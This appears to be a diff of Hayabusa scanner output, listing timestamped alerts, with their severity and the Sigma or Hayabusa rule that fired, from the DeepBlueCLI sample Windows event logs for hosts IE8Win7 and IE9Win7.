14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:12.548 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-24 14:11:13.251 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:18:43.547 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:18:43.547 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:18:43.562 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 02:23:49.093 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:25:02.877 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:25:02.877 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:25:02.877 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 02:48:26.739 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:48:26.739 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:48:26.739 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 02:57:33.848 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:57:33.848 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 02:57:33.848 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 03:01:39.454 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 03:01:39.454 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 03:01:39.454 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 03:02:36.847 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 03:02:36.847 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 03:02:36.847 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 03:05:21.128 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 03:05:40.910 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IEUser : Target User: rdavis : IP Address: - : Process: : Target Server: HYPERV.sharplogic.local,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 03:08:12.894 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:49:55.313 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:49:55.313 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:49:55.313 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:50:49.109 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x2b7f0,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:52:22.343 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:52:22.343 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:52:36.312 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:52:41.000 +09:00,IE8WIN7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 06:52:48.955 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:52:48.955 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 06:52:48.955 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:54:52.158 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:54:52.158 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xcf564 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:54:52.158 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xcf598 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:54:52.158 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0xcf564,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 06:55:06.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 06:55:06.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 06:57:07.814 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:23:56.107 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:23:56.107 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:23:56.575 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:26:20.278 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IEUser : Target User: rdavis : IP Address: - : Process: : Target Server: HYPERV.sharplogic.local,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:35:01.091 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0xcf598,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:14.156 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:38:14.156 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:38:20.765 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:22.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 07:38:26.183 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:38:26.183 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:38:26.183 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:48.104 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:48.104 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x27008 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:48.104 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x27038 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:38:48.104 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x27008,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:40:33.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 07:40:33.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 07:48:51.643 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x27038,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:50:56.046 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:50:56.046 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:51:16.890 +09:00,IE9Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:51:22.000 +09:00,IE9WIN7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 07:51:29.601 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:51:29.601 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-26 07:51:29.601 +09:00,IE9Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:51:34.460 +09:00,IE9Win7,4648,informational,Explicit Logon,Source User: IE9WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:51:34.460 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x12048 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:51:34.460 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x12070 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:51:34.460 +09:00,IE9Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x12048,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-26 07:56:09.000 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 07:56:09.000 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-26 08:03:14.476 +09:00,IE9Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x12070,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:34:44.156 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:34:44.156 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:34:54.687 +09:00,IE9Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:34:59.000 +09:00,IE9WIN7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:35:04.667 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:35:04.667 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:35:04.667 +09:00,IE9Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:35:09.745 +09:00,IE9Win7,4648,informational,Explicit Logon,Source User: IE9WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:35:09.745 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x131c3 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:35:09.745 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x13216 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx 